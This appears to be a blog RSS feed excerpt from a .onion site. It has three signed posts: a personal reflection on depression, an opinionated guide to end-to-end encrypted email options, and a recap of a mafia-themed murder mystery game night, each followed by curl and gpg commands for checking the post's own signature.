    I’ve been trying to jump from one addiction to another, just to calm my senses, just to forget, just to move on.

    +

    I started with ordering unhealthy food from Uber, eating Tuna and Rice, skipping breakfast, watching crap on Youtube, but none of it help. I then went to thm, that has been helping a bit, but not enough.

    +

    I need to be productive at work, I need to take care of my health, I know if I do these, I will feel better about myself and this MDD will go away. Or at least I hope.

    +

    For now all I know is that I’m stuck in MDD, and I cannot get out of it. I’m glad suicidal thoughs are off the table. I’m just glad. They only thing I see is darkness, but I know it will change. The sun will rise. That reminds me, is the wind rising? No? Yes? If so, we need to live.

    +

    I think this is just so painful to me in the sense that I don’t really have many friends that I consider as friends, and I’m being left alone from some groups that I don’t necesserially wanna be a part of. But oh well, I should not care.

    +

    Credit: Cupid by FIFTY FIFTY

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM
    +jSqXgxAApA2BHjsOLD5510SG/O8FGU5fI6Mh9wa+CzLQY5UgxMloPUPb7wt0PeUf
    +CpBM/jHD6O86DkqppGJNAXHdt/X1bpQeMr0jfXctWijWUhiyDxY/eLId7+GF9IUv
    +YFCTA4Rff7kAbczDMpb2Tj4ZGSJNCAnHtxbzRN23WHY5SX36WZr0Kg496Z/ndxNa
    +2RWo2WA0w9PIvb/rv77+fOx5g7P1Ap+mpFHOYAOeQ3PuHPLTSOrldEZDgr0diYMl
    +HFzs8K0CXUJnW0KaLtfUxEsJEs9nIgoAN3m/xUWCiZEe2fbEYJ/kUArtAJLtEV3r
    +ulcY1NPAuRWbcFdIWYQoD6N9Kxev0e6rvX5kkt3MslV4fAvIXq9TmROOd9i8d6W7
    +oKcf7IO8MJNs4l3+990pvEzu0X9IHdv7GUIf6DQQ15VG3HLBMHzaqDu5fxIGUyz1
    +wJj1Vd18yXkOLCNIdOkQVr5wuZida6/1V8qgMNg5mO/t0bXPvmweqwd4tCy1XErm
    +7d9nIEcGk9dQBuVKJUT0XVN/q3whNFeQmbaoq+Tl/MSNQVfwTbxBMkGxmLQwEWY9
    +mUD+FKlzeyJSaWc0MylcnbtkCQnICWw2mR33NuqPHA2RIrCy49ArrPXXPrIZqOf/
    +91kzN5JeoMvwawhIt9N8+nPGUOs3RTy+qHk9L7DHhtAycdFqm/c=
    +=sXgB
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/cupid.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/cupid.md.asc
    +gpg --verify cupid.md.asc cupid.md
    +  
    +
    + + +]]>
    +
    + + Sending End‑to‑End Encrypted Email (E2EE) without losing friends + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/e2ee/ + Thu, 30 Oct 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/e2ee/ + A practical, mildly opinionated guide to sending encrypted email that normal people can actually read. + If you’ve ever thought “I should really send this securely” and then immediately remembered key servers, certificate stores, and that one time you bricked your GPG setup, this post is for you. Below is a usable path to end‑to‑end encrypted email, roughly how each option works, and when to use which—sprinkled with a little fun so your eyes don’t glaze over.

    +
    +

    Honestly, I don’t know why one would settle down for a paid option, but if you want to, then be my guest.

    +

    Why people don’t use E2EE email (and why you still should)

    +

    Email wasn’t designed for secrecy. It leaks metadata (who emailed whom and when), search and spam engines expect to read your messages, and traditional E2EE requires exchanging and trusting keys or certificates—things most people never think about. That creates friction, breaks “just works” expectations, and makes onboarding your accountant, landlord, and cousin Maddie… exciting.

    +

    But the upsides are huge: true confidentiality of message content and attachments, stronger authenticity (signatures!), compliance wins for sensitive data, and fewer “oops, wrong inbox” disasters haunting you forever. In short: if it matters enough to hesitate before sending, it probably matters enough to encrypt.

    +

    I mean, generally speaking one can use e2ee for anything, and not just email, but doesn’t it feel cool if you sign your mail with your key, and if the receiver also has pgp keys, to send e2ee mail? No one knows what the two of you talk about, well unless there is a back door in your machine, buuuuuuuut assuming not, you’re good to go!

    +

    The contenders (and how they feel to use)

    +

    Proton Mail (consumer‑friendly, great cross‑provider story)

    +

    Proton gives you automatic E2EE between Proton users. When you email someone on Gmail or Outlook, you can send a password‑protected message that opens in a secure web page; you share the password out‑of‑band (SMS, Signal, etc.). If your recipient already uses PGP, Proton can speak that too. Day‑to‑day, it’s just email—with an extra “lock” option when you need it.

    +

    Prices (personal): Free tier exists; paid tiers like Mail Plus and Proton Unlimited add storage, custom domains, and Proton Bridge for desktop clients. Expect single‑digit € per month for personal use; business plans are per‑user.
    +How to use: Sign up → compose → choose password‑protected email for non‑Proton recipients or send normally to Proton addresses. Recipients can reply securely in the web portal—even without an account.
    +Ups: Lowest friction to message non‑tech people; slick apps; plays well with PGP if you’re a power user.
    +Downs: Metadata like recipients stays visible across the wider email network; full power (Bridge, larger storage) lives behind paid tiers.

    +

    Honestly though, although I love proton and want to work for them, idk why you would want to pay for such services. If you use their other options, like custom mail domains, etc., then be my guest, otherwise just use Thunderbird! It’s easy to use, and fun to show off.

    +

    Tuta (formerly Tutanota) (privacy maximalist, subject‑line encryption)

    +

    Tuta offers automatic E2EE between Tuta users and password‑protected emails to anyone else. Its special sauce: it encrypts more by default in its ecosystem—including subject lines—and the whole suite is open‑source and auditable.

    +

    Prices (personal & business): Free plan plus personal tiers (e.g., Revolutionary, Legend) and business tiers (Essential/Advanced/Unlimited). Personal is typically low single‑digit €/month; business is per‑user, per‑month.
    +How to use: Create an account → compose → set a password for non‑Tuta recipients; they read and reply in a secure web page.
    +Ups: Max privacy posture; encrypted subjects between Tuta users; clean apps.
    +Downs: Some advanced mail protocols/features are intentionally limited; cross‑ecosystem mail still exposes standard email metadata.

    +

    I was introduced to this one literally for writing this post, I had no idea it existed before.

    +

    Gmail with Client‑Side Encryption (CSE) (for organizations on Google Workspace)

    +

    If you live in Google Workspace, CSE brings real end‑to‑end encryption to Gmail—keys stay with your organization. After admins set it up, users toggle encryption right in the compose window. It’s the least disruptive path for big teams that already run on Gmail.

    +

    Prices: CSE is available on certain Workspace editions (e.g., Enterprise Plus, Education Standard/Plus, Frontline Plus). No extra per‑message fee, but you’ll need a compliant key service and the right subscription tier.
    +How to use: Ask IT to enable CSE and your key service → compose in Gmail → turn on encryption for messages that need it.
    +Ups: Seamless for employees; centralized key control; good audit/compliance story.
    +Downs: Only for supported Workspace tiers; external recipients may need compatible tooling or a secure portal experience; not for personal @gmail.com accounts.

    +

    I mean… how much can you trust google and their non-open source client? I know some of my collegues here do use it, I won’t. Not with the emails that matter to me.

    +

    Outlook / Apple Mail with S/MIME (classic enterprise path)

    +

    S/MIME uses X.509 certificates instead of PGP keys and is deeply integrated into Outlook and Apple Mail. Inside one company (or between partners who exchange certs), it’s smooth sailing. Your IT can deploy certificates automatically so users never touch crypto knobs.

    +

    Prices: The tech is built in; costs come from certificates. Orgs often issue them internally; public CA prices vary.
    +How to use: Install/auto‑deploy your certificate → recipients share theirs → click encrypt/sign in Outlook or Mail.
    +Ups: Great inside enterprises; MDM‑friendly; widely supported.
    +Downs: Exchanging certs across companies is clunky; personal certs can be confusing; mixed ecosystems require coordination.

    +

    Ok. Is there that big of a difference between these and Gmail? Idk. I ain’t trusting non of it. But maybe the apple client I do partially trust. They seem to care about user privacy, or maybe they have brain washed me to believe so.

    +

    Thunderbird + OpenPGP (free, powerful, nerd‑approved—now usable)

    +

    Thunderbird bakes in OpenPGP and S/MIME. You generate or import a key once, and Thunderbird remembers which contacts can be encrypted. It even supports protected headers/subject encryption so the visible subject can be replaced with a stub while the real subject lives inside the encrypted part. For many privacy‑minded folks, this is the sweet spot of control and usability.

    +

    Prices: Free.
    +How to use: Install Thunderbird → create/import a PGP key → hit the little lock when writing to someone whose key you have. Done.
    +Ups: Full control, open source, works with any provider via IMAP/SMTP; subject protection available.
    +Downs: Initial key exchange still scares people; you may need to hand‑hold contacts through setup the first time.

    +

    This is just the best. You can also have your calendars at one place. Also your contacts and everything else. They don’t have iOS app which sucks, idk about Android.

    +

    Browser add‑ons: Mailvelope & FlowCrypt (bring E2EE to webmail)

    +

    If you’re welded to webmail, add‑ons can meet you where you live. Mailvelope brings OpenPGP to Gmail/Outlook/Yahoo and more, right in the browser. FlowCrypt focuses on a polished PGP experience for Gmail and Google Workspace, with business features and key management options.

    +

    Prices: Mailvelope is free/open‑source. FlowCrypt has a generous free tier with paid enterprise features for teams.
    +How to use: Install the extension → create/import keys → compose in a secure editor injected into your webmail.
    +Ups: Zero provider switch; good for gradually introducing encryption to a contact list that lives in Gmail.
    +Downs: Browser crypto UX still has edges; enterprise key policy needs the paid tiers; fewer bells & whistles than a full desktop client.

    +

    Just no. Don’t trust add-ons. Please.

    +

    So… which should you use?

    +

    If you need to send a one‑off encrypted message to a non‑technical person, Proton or Tuta’s password‑protected email is the friendliest: they click a link, enter the password you shared elsewhere, and can reply securely even without an account. For a company already on Google Workspace, turn on Gmail CSE so people don’t juggle keys. If you’re a power user or want provider‑agnostic control, go with Thunderbird OpenPGP—it’s free, modern, and interoperable. And if you won’t leave the web, try Mailvelope or FlowCrypt to bolt E2EE onto the inbox you already use.

    +

    Honestly though, I would suggest thunderbird all day everyday, twice on Sunday. But that is just my view. If you fancy something else, well go ahead.

    +

    A note on what E2EE hides (and what it doesn’t)

    +

    End‑to‑end encryption protects the body and attachments. Across the wider email network, metadata like From/To and delivery timestamps remain visible by design. Subjects may also be visible unless your tools use protected headers (Thunderbird can; Tuta encrypts subjects inside its ecosystem). If you truly need to hide everything, email might not be the right tool—reach for Signal or Matrix instead.

    +

    Quick price & fit-at-a-glance

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    OptionBest fitPersonal price vibeNotes
    Proton MailEveryday private email + easy messages to anyoneFree; personal paid tiers in single‑digit €/mo; business per‑userPassword‑protected emails to non‑Proton; PGP support
    TutaPrivacy‑max email; encrypted subjects in‑ecosystemFree; personal low €/mo; business per‑userPassword‑protected emails to non‑Tuta; open source
    Gmail CSEOrgs on Google WorkspaceIncluded with Enterprise Plus/Education/Frontline editionsAdmin setup + external‑recipient flow
    S/MIME (Outlook/Apple Mail)Enterprises with IT/MDMSoftware built‑in; cert costs varySmooth inside one org; cert exchange needed across orgs
    Thunderbird OpenPGPProvider‑agnostic power usersFreeCan encrypt subjects via protected headers
    Mailvelope / FlowCryptMust stay on webmailFree / paid enterprise optionsPGP in the browser; good stepping stone
    +

    The 60‑second starter packs

    +

    Proton/Tuta for one‑offs: create an account, write your message, set a password, send; share the password over Signal or SMS. Recipient opens the secure link and can reply—no account needed.

    +

    Thunderbird for everything else: install, make a key, send your first signed message; when your contact replies with their key, hit the lock and enjoy encrypted bliss.

    +
    +

    Shower thoughts

    +

    So, why did I mention any of this? +Aside from the fact that I do believe e2ee email should become defacto, and I don’t know why it isn’t already, I do think we are not taking any steps toward protecting ourselves, and rely on third parties to do so for us.

    +

    A while ago when the 12 day war happened in Iran, they eventually allowed domestic platforms to be used by Iranians living abroad to talk to their loved ones back home. +The thing is, people might not use them because they don’t trust them.

    +

    The question I had was different. +Assuming that the service is reliable, why can’t we use it and protect ourselves while doing so?

    +

    In hindsight this seems stupid. +But listen to me. +If you have a wrapper that uses your gpg key to encrypt your messages, then you send them via those seemingly “untrusted” medium, why wouldn’t you be able to use it? +The only, and oh well, biggest problem is key exchange. +Now to be honest, there exist key repositories that one can use, but also you can publish your public key over github, or any open verifiable medium. It is not foolproof, but it’s a way. +And as long as there is a minimum reliable channel between the two parties, they can verify the authenticity of the key. +Like via a quick short call. +They can also be faked, but let’s not go that extreme. +Also if many do it, it’s hard to screw over all of them, maybe a subset with spending much resources, but no way you can screw everyone.

    +

    Idk how stupid the thing I’m suggesting is, but I wonder if it can be done or not. I don’t know if I’m willing to spend my free time on it or not, but I though I should share the idea to at least know if it’s stupid and wrong or not.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSoPBBAAlYPOVuLE4EKBrV/xOlyslxRhMoJbXxdp4HGPlrBBmsbsko9V7nMvSkXN
    +z+xZGP+orZYA3hUJtJFwKY3f6Lc+H0+rmPq/qwhdlyooASpap3G9n6Lh09vrimSl
    +teMPcOiYIeFEN2NeewReyp+0kGTuS6Z0IOZZ4yIi5wG3Ect7VtesTUrLuvdsuUZ2
    +nh+i/2N/8HPKb3HnkZUcWJL3oSjQ8aULH4mn4gtHUEvJZO+hH2G87yPvf0B6cM6w
    +qIEc9ScuBzyX6wo2Cu0V22LFJLEoD1rLsluzsE54iv/ZD6YxFbIwOi1KMX0mBOGo
    +S93kkSYz5LRrR/f7xtTGpfeZXnYB4YIij/9MBQBoM55oHcjTdpOV5Pe00MCF1kXJ
    +bfSn+ylCvyPoVUbFlKTiBFdHHiV29/ILUbMekJ4kRmBazNqu4Q486CLKqCn2yguA
    +mLN7Fslis+dsOnm9G/aR5MadIMgXwU8hwVM9DKDoxia4UALOSnHA2eAnJQeEYXDa
    +BF9sq2b6gVE6OJC2eeF0pt3AY5HL4Pe3HowrGeLt8a8QsRHy5TnTE1cdF7A+A4J6
    +iX2qbkUJY1eFbG/kTdFEAH/pcSp4oEyK51/E1ADsjGIG/lu5glDJdIvfw/i6xgzR
    +ic2kF0bGJCaI/0Sen+lvC1dkn9/wxmjRYHHF7pXH0ZxKDUe6i/Y=
    +=R0VX
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/e2ee.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/e2ee.md.asc
    +gpg --verify e2ee.md.asc e2ee.md
    +  
    +
    + + +]]>
    +
    + + La Plaza: The Falcones & the Morettis + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/murder_mystery_night/ + Sat, 25 Oct 2025 07:52:53 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/murder_mystery_night/ + Two dynasties in Sicily collide: a funeral party for a dead Don, a gilded heir with a fatal flaw, and a whisper-soft romance that could start a war. + Last night I attended a ZiS event called “the Murder Mystery night”.

    +

    The story was about two families. The Falcones, and the Moretti family.

    +
    +

    Gold-embossed invitations arrive at La Plaza for a celebration of life honoring Salvatore Falcone, recently slain Don. All members of the Moretti family are invited to the party!

    +

    Family Trees

    + + + + + + +
    +%%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%% +flowchart TB +subgraph falcone["Falcone — current generation"] +direction TB +Salvatore["Salvatore Falcone
    dead boss"] +Serena["Serena
    widow (bosswife)"] +Salvatore -- Married --> Serena +%% row: siblings +subgraph falcone_row1[ ] +direction LR + Sophia["Sophia
    underboss"] + Massimo["Massimo
    lawyer"] + Fabiola["Fabiola
    financial
    advisor"] + Aurora["Aurora
    associate"] +end + +%% row: next generation +subgraph falcone_row2[ ] +direction LR + Lorenzo["Lorenzo
    fixer
    (Sophia's son)"] + Michelangelo["Michelangelo
    enforcer
    (Massimo's son)"] + Antonio["Antonio
    hitman"] +end + +Sophia --> Lorenzo +Massimo --> Michelangelo +Fabiola -- Married --> Antonio +end +
    + + + + +
    +%%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%% +flowchart TB +subgraph moretti["Moretti family"] +direction TB +Benito["Benito
    boss"] +Nicoletta["Nicoletta
    bosswife"] +Claudia["Claudia
    ex wife"] +Benito -- Married --> Nicoletta +Benito -- Divorced --> Claudia + +%% row: children +subgraph moretti_row1[ ] +direction LR + Sergio["Sergio
    underboss"] + Lucia["Lucia
    associate"] +end +Benito -->|son| Sergio +Nicoletta -->|son| Sergio +Benito -->|daughter| Lucia +Claudia -->|daughter| Lucia + +%% row: Lucia's crew +subgraph moretti_row2[ ] +direction LR + Violetta["Violetta
    fixer"] + Santo["Santo
    enforcer"] +end +Lucia --> Violetta +Lucia --> Santo +end + +Enrico["Enrico
    finantial advisor"] +Benito ---|younger brother| Enrico +
    + + +
    +

    Who’s Who (quick dossiers)

    +

    Falcone notes

    +
      +
    • Salvatore Falcone (†) — Former Don, killed under mysterious circumstances.
    • +
    • Serena — Salvatore’s widow; trades in charm and influence, now vying for power—especially against Sophia.
    • +
    • Sophia — Eldest sibling, longtime underboss; disciplined, feared; sees herself as rightful heir after Salvatore.
    • +
    • Massimo — Younger brother; justice-minded, hardened by his wife’s death.
    • +
    • Aurora — Youngest; underestimated as naive or harmless, but observant.
    • +
    • Fabiola — Ambitious financial brain; growth-focused, clashes with tradition.
    • +
    • Antonio — Fabiola’s husband; trusted hitman with careless drinking and looser lips than he should have.
    • +
    • Michelangelo — Massimo’s son; enforcer torn by guilt over his mother’s murder.
    • +
    • Lorenzo — Sophia’s son; quiet fixer who tidies messes, unflappable.
    • +
    +

    Moretti notes

    +
      +
    • Benito — Calculating, paranoid Boss; obsessed with securing the bloodline through his son.
    • +
    • Nicoletta — Benito’s wife; once a prostitute, now regal and cunning.
    • +
    • Sergio — Only son; appointed underboss young. All glitter, charm…and a crack in the armor: the game.
    • +
    • Enrico — Benito’s younger brother; accountant; clever, restless for influence.
    • +
    • Violetta — The family’s ice-cold fixer; keeps things “clean,” whatever it costs.
    • +
    • Claudia — Benito’s ex-wife; elegant, humiliated but dangerous in refined ways.
    • +
    • Lucia — Daughter of Benito and Claudia; proud, protective, hungry for attention from the core family.
    • +
    • Santo — Lucia’s son; bold, admired and doubted in equal measure.
    • +
    +

    Aside from these characters, there were two additional characters. +Falcon’s priest, who had confessions from every Falcon family member, and a prostitute who had slept with many of the characters in the story, and had dirt on them!

    +
    +

    World sketch: the Falcones make problems disappear and launder fortunes behind bright lights and polished floors; the Morettis flaunt neon glamour while doing the real work in shadows.

    +
    +

    After the introduction, I assumed the role of Sergio, heir to Benito and his apparent son, as the story unfolded. +All I knew was that on the night of the murder, I was not in Falcon’s house, and that I was out in a casino with Aurora.

    +

    I didn’t know how little I know about the story until the middle of the game, where everyone was starting to spill the beans! It was insane how clueless I was. LMAO

    +

    So, without further of do, let’s dive riiiiiiiiiight in!!!! Weeeee haaaaa xD

    +

    Act I, the dinner

    +

    We arrived at the family party, dressed in colorful dresses, as it was supposed to be the celebration of life. +Or that’s what was written in our invitations.

    +

    The Falcons were in black, grieving a lost one, their beloved boss, Salvatore Falcone.

    +

    The clash was instant as they though we were disrespectful to wear such cloths. +As Sophia, the organizer of the dinner, started to give us scary looks, Violetta came at her with no chill.

    +

    She said, “I know what the purpose of this dinner is, you are accusing us of murder! But shall not heed. This is an insider job, a betrayal, and we will uncover it.”

    +

    The Falcones were not happy with any of it. Massimo, Michelangelo, Lorenzo, Antonio, and Serena went back at her for how dares she! +They said Why would they take it so far to accuse them of accusing us of murder.

    +

    Violetta, our family’s ice-cold fixer, replied, “it is clear from our invitations, they are all crossed out on purpose. You want us to look bad, or someone from within is doing it with that intention”.

    +

    They went quiet. They were just as confused. Sophia invited us to sit down and eat in calm. We acknowledged and grabbed bites to eat. When all were happy and satisfied, we geared up for round two of discussions.

    +

    While the game continued, the dinner also stood out. Every dish was delicious, beautifully prepared, and truly made the evening special. I want to give props to the organizer (won’t name here out of privacy). Thank you again for such an amazing event!

    +

    Act II, the invitations

    +

    Sophia looked at us with her death smile and said, “I was involved with 9 invitations, the ones to our family, and nothing more.”

    +

    The room went into a deep silence. What did she mean? Who made Moretti’s invitations? Why were they crossed out? Why did it say it was a celebration of life, while it was a gathering of grief? Why did it ask Moretti’s to wear colorful dresses, and not black like Falcones? Who was plotting this? Was this going to end in a bloodbath? Or will the families work it out?

    +

    The occasion was grim, but the outcome was immense. Either the two sworn families rip this thin bond once and for all, or they will come out as stronger allies, ruling the lands under their influence with no power to stop them.

    +

    Violetta then looked at Sophia with her dead eyes. Both families knew the fire was going to just grow stronger…

    +

    Act III, the evidence

    +

    Violetta asked Sophia for pictures of the crime scene. Sophia signaled Michelangelo to deliver, and he did.

    +

    There were four pictures and a dissection report. Two of the pictures were from the bullet marks that had exited Salvatore’s body from the other side. The third picture was of Salvatore’s dead body, fallen on the ground in front of the set of stairs. The report stated two shots were fired, one to the head and one to the chest. Both exited the body and were fatal. The body was pushed down the stairs. According to the last picture and the dissection report, the two bullets had different calibers: a 9mm Luger and .243 WIN.

    +

    Massimo got up from his sit, pointing to an article about her wife’s death. He stated how this was similar to her death, and how she died “The Moretti way”. “She was shot and pushed down the stairs. What other evidence do you need?” said Massimo.

    +

    Benito replied calmly, “But Salvatore didn’t die the Moretti way. We use one bullet, and push the victim down afterwards. We never miss.”. “Salvatore was facing away from the stairs, according to the image, we never execute like that. We are not cowards.”, said Sergio with a collected tone.

    +

    Massimo wasn’t convinced, but he knew they were right. He just could not forgive her wife’s death.

    +

    The room went into silence again.

    +

    Violetta presented additional evidence: a picture of Salvatore with a police officer at a bar, alongside bank statements from Fabiola’s accounting showing F&E laundering money for Salvatore. No one knew what F&E stood for, but Enrico and Fabiola were suspected. They remained silent, drawing suspicion, and eventually explained that the families were linked at Enrico and Salvatore’s level, using the Falcones’ casinos to clean cocaine profits, benefitting both sides. It was unclear if Benito knew or simply would not discuss it.

    +

    In the picture, it can be seen that a note was being passed to Salvatore. It was hard to read, but it said: “Be careful”.

    +

    Serena pointed to Antonio, and he took out a piece of paper of the family’s weekly report. It was stated that Sergio and Aurora had been seen together multiple times. But why? Sergio does live a lavish lifestyle. He regularly goes to casinos, sometimes suspiciously wins large amounts, and sometimes loses a fortune. When confronted about this, he just said he enjoyed the company. But what business did the heir to Moretti’s have with the youngest of the Falcones?

    +

    Lorenzo and Michelangelo pushed this matter further. They claimed Michelangelo was tasked to get dirt on them, and to envolve Antonio if needed. In the back of a picture taken of the two of them (Sergio and Aurora) in the casino, it was written that this is abnormal behaviour, and that they should be careful with Sergio. Antonio’s report also stated the same, that they should be mindful of Sergio. Sergio only mentioned that he was not at Falcones’ that night, and that he was in a casino with Aurora; no further explanation was provided by him.

    +

    Aurora didn’t budge either.

    +

    Sergio changed the subject swiftly. He pointed to the gun used for the murder and said, “Doesn’t that look like Santo’s gun? Where were you that night, Santos?”. “I was at home, with my mother”, Santos replied, and Lucia nodded.

    +

    It felt like this conversation was going nowhere. Sophia asked the priest and the prostitute to speak up.

    +

    Act IV, the confessions

    +

    The priest came into the room. He mentioned that Aurora had confessed to being in love with Serio. That Antonio had wittnessed he is cheating on Fabiola with Lorenzo, that Michelangelo was mad about finding out Fabiola was working with Morettis, and that Salvatore had know this for a long time. He mentioned how Salvatore had changed his will before his death from giving everything to his heir, Sophia, to whoever uncovers how he dies. He mentioned how Serena had heard “there was another heir to Salvatore’s fortune”, that she was paranoid now, that all the time he asked for an heir, he wanted a son, not a child.

    +

    The prostitute continued, “Benito ordered to kill her mistress before the child was born, but he didn’t manage”. She said how Sergio had told him after getting drunk that he did not like women, but used them to his advantage.

    +

    Claudia wasn’t feeling well. She loved her daughter Lucia, but was she the mistress? Why did Benito leave her for Nicoletta? A former prostitute. Did he order them to kill her?

    +

    The prostitute then continued. “Sergio is not Benito’s son”. Violetta showed a piece of paper indicating that DNA results show he is indeed not Benito’s son. Benito smiled. “Sergio is my son, even if not my blood. He slept with Aurora, this prostitute, Fabiola, and Sophia for our cause.”

    +

    Sergio did not smile, or any changes in his face. He was ice-cold.

    +

    It was still not clear who plotted to kill Salvatore. Everyone was confused.

    +

    It was time for deduction.

    +

    Act V, the killer(s)

    +

    After a long discussion between all the family members, these were the conclusions.

    +

    It was evident that Serena was in her part of the mansion, far from Falcone. A different house. Antonio was chilling at his house with Fabiola. Massimo claimed he was at his office, working on cleaning family from some cases. Aurora was with Sergio in a casino. Benito, Lucia, Santo, Claudia, Enrico, and Nicoletta were at Moretti’s. That left Michelangelo, Lorenzo, and Violetta. No one knew what they were doing or where they were.

    +

    Initially, Michelangelo and Lorenzo claimed they were following Sergio and Aurora, but the evidence showed they were there only for a fraction of the night.

    +

    If everyone was telling the truth, one or two of Michelangelo, Lorenzo, and Violetta were the killers. From the confessions the priest provided, Michelangelo had the most valid motivation for this killing. He was not happy about the family’s side business with the killer of her mother. He was not happy that Salvatore did not care. But there were two different guns used. Did Lorenzo really help take out the head of the family? But why?

    +

    Lorenzo had affairs with Antonio, and he knew Fabiola was working with Enrico to launder money. It was the perfect plan. The two of them would kill Salvatore, make it look like Fabiola and Enrico killed the head of the family by making it look like “The Moretti” way. Then Lorenzo gets to Antonio, and +Michelangelo would take his revenge. Sergio would also not get his hand on Salvatore’s money, as with all ties broken, no one would suspect he was Salvatore’s son. Nicoletta would also not talk, as she would lose everything if she confessed.

    +

    Although all evidence was against Lorenzo and Michelangelo, they did not confess. Violetta had to break it to them again. She said she was at Falcones on the night of the murder to get dirt on them. She said she was hiding in a closet, and that she saw everything. She said that she even has pictures and soundproof of all that happened. When asked why she didn’t mention any of this earlier, she said she wanted to see how far they would go with this, and how much the lie, and what they had plotted. She also wanted to gather more information from whatever people said during these discussions. What a clever fixer! A true piece of treasure from Moretti’s side.

    +

    It was over for Lorenzo and Michelangelo. Lorenzo burst into tears after all of this. He said that Sophia was not protecting the family as the underboss and heir. How could she lose her title if the fact about Sergio were known someday?

    +

    Sophia was just disappointed with all of this. She didn’t budge.

    +

    The epilogue

    +

    Most people weren’t sharing what they knew not to become sus! I didn’t talk to everyone, but for example, the person who played Santo’s role said his card stated he was cleaning his 9mm pistol on the night of the murder. He never mentioned this. Though this would through suspicion on him, when Lucia and other members vouched that he was at home with them, we would not have been misled by some random fact that his pistol was missing, or that one of the murder weapons looked like his. I think there was a lot of information that people either mispresented or decided not to. This ruined the flow of the story. I’m not sure if Violetta had to say she was hiding in the closet or not, but it was really late, and I think we were not sure who the killers really were, since people weren’t presenting everything they knew.

    +

    Overall, this was the most fun event I have ever attended from ZiS. Everything was perfect, and the organizer was amazing. I would say the person who organized this event is the best of the tutors! They had also organized a game night where we played many fun games online, which was my second most favorite event! Thank you so incredibly much once again for the event!

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
    +jSp8sg/9HQfL6MJNbK9138ynptOPkYSjDMyEhaI9GfmV2MRlSwkipwWO2GdLstm+
    +bc8KNd1E5TQknN21P24dMqkQ2iDm6s0bDsVQ4X/iZfTwBBoGOD5Z2WvqBUqZo04d
    +ddb4Vk3fqB8hRpcDvqLM3iawn4a5vxGR3tvN16XrGZuyedHFi4YELLIHB0ks3b2p
    +zr6zHOniJ1aCSju8WS28cUMjNz+xCIBKLaHhiZjJ4yQaQVG456VIHCfYYNLo7gwj
    +3lGViTWg273r6YtxIOQBITPXp1Xib8AFubO7Cs1mTo9sEZcWdWFWslAmTLRiHt0x
    +4E58Ob8u/DDfmJrJlzNT/XABcqmLPrs/vAtT8jZNAKRyvtlCN+q2hB6Bu1tndVPH
    +qIrSt7ykMhhDYz6A6MzXkwIKG+lC6sygqISnL8NLnzOJVGy5Jl1Ig82g8DJI7qDJ
    +nh4a+E1ts4Iec2ASQtsZFfSlEcoKjXYbZ9npr8jg2temUxIMYq94L/Zeh0o+Ymxp
    +Qy7GC0YNddKgcvsPX/GwealKrCjRNIWuVogF/q86ASKAyZxDtWsAryOTufu7eV1T
    +QC68HqpwR8bvVPbmIk7l4vQSOXNjZuqaMOOkpFvMkwyOoAyRpmI9ksj0v5GllpIC
    +AidP1vQUUJUGtXbiW0vMufUc/fyulH1o0LCfwTLJoTyiBEwjNsw=
    +=3iUy
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/murder_mystery_night.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/murder_mystery_night.md.asc
    +gpg --verify murder_mystery_night.md.asc murder_mystery_night.md
    +  
    +
    + + +]]>
    +
